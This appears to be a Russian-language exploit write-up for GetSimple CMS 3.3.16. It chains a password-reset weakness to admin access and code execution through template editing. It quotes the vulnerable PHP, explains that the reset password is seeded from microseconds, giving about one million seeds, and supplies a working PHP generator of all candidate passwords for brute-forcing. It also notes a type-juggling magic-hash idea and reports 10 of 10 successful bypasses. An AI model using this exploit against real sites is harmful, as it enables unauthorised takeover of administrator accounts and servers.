Играем в "Предсказателя" с GetSimple CMS

Играем в "Предсказателя" с GetSimple CMS

Matriz

Сайт - get-simple.info

Версия 3.3.16 - Latest Stable Version.


Интернеты говорят вот так:


GS_sites.png

В админке имеем возможность редактирования шаблонов - php файлы.

Удаляем стопер, пишем phpinfo и у нас RCE)

Осталось теперь как-то попасть в эту самую админку.


GS_RCE1.png

Auth bypass или предсказываем значение rand()


Система использует xml файлы для хранения данных, скулей не увидим.

Посмотрим на то как проходит аутентификация.


admin/inc/login_functions.php

PHP:

if ( ($userid == $USR) && ($password == $PASSWD) ) {

    $authenticated = true;

Слабое сравнение(type jugling), но:


1) GetSimple использует sha1, брутить слишком много вариантов

2) Юзер == админ, поэтому их количество будет не большим)

3) Нужный юзер скорее всего имеет пароль отличный от необходимого нам диапозона


С одной стороны вроде как и нет баги. С другой, если мы заглянем на страницу

восстановления пароля, увидим, что этот процесс происходит таким образом:


1) Запрос на восстановление

2) Смена пароля

3) Отправка нового пароля на email


На email не отправляется линк на смену пароля, пароль меняется и отправляется на почту.

Отсюда можно решить 2 и 3 проблемы таким способом:

-- отправляем на аутентификацию всегда пароль, хэш которого 0e[0-9]{38} - например aaK1STfY

-- расстреливаем запросами на смену пароля


Но проблема слишком большого количества вариантов мешает получить сколько-нибудь

значимые результаты. Плюс ко всему, ситуация ослажняется вот этим:


admin/resetpassword.php

PHP:

...

$randSleep = rand(250000,2000000); // random sleep for .25 to 2 seconds

...

usleep($randSleep);

...

Но раз в нашем случае мы можем поменять пароль, посмотрим что это за пароль и

как он генерируется:

admin/inc/template_functions.php

PHP:

function createRandomPassword() {

    $chars = "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";

    srand((double)microtime()*1000000);

    $i = 0;

    $pass = '' ;

    while ($i <= 5) {

        $num = rand() % 33;

        $tmp = substr($chars, $num, 1);

        $pass = $pass . $tmp;

        $i++;

    }

    return $pass;

}

Вот тут мы имеем два момента.


Первый -- Что генерируется и как проверяется?


Генерируется 6-символьный пароль. Имеем type jugling.

Для брута sha1, учитывая время на создание нового пасса и sleep, наши 13ккк

будем брутить очень долго. А вот 6 символьный вариант 0eXXXX будет попадаться

в среднем на каждые 2,5кк запросов смены пароля для [a-zA-Z0-9]{6}.

Все равно долго...


Да и хитрые разрабы предусмотрели этот вариант - в нашем диапозоне не 62 символа,

как должно быть для [a-zA-Z0-9]{6}, а 57 и нашего нолика тут как раз и не хватает))

Второй -- Как генерируется?

Собсна сама бага.


Функция rand() генерирует псевдослучайное число. И, если мы знаем начальное

число генератора псевдослучайных чисел, мы можем узнать это псевдослучайное число.


И не только его. Мы можем проследить всю цепь чисел, которые генерятся

функцией rand, так как все последующие числа предсказуемы. Значит мы можем

выявить все символы в новом пароле сгенеренные функцией rand.

GS_rand.png

А сколько их, этих начальных чисел? На nix(php-7.3) у меня выплюнул 2kkk результатов.

Т.е. два миллиарда полных вариантов пароля, а вот для win:

GS_rand_max.png


Но разрабы решили вписать свое число. Оно устанавливается функцией srand.


Что в ней происходит?

Из текущей метки времени Unix с микросекундами берутся именно микросекунды

и умножаются на 1кк - именно столько вариантов у нас для брута, микросекунды

float 0.XXXXXX, поэтому целочисленное значение у нас никогда не будет больше

одного миллиона.


Для атаки на потребуется лишь один раз запросить смену пароля, а потом

пробрутить наши 1 миллион паролей - дело 20 минут.


Генерируем список вариантов возможных паролей:

PHP:

$chars = "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";

for($i = 0;$i <= 999999; $i++){

   srand($i);

    $n = 0;

    $pass = '';

    while ($n <= 5) {

        $num = rand() % 33;

        $tmp = substr($chars, $num, 1);

        $pass = $pass . $tmp;

        $n++;

    }

    echo "$pass\n";

 

}

Тестанул - 10 из 10, Auth bypas

Report Page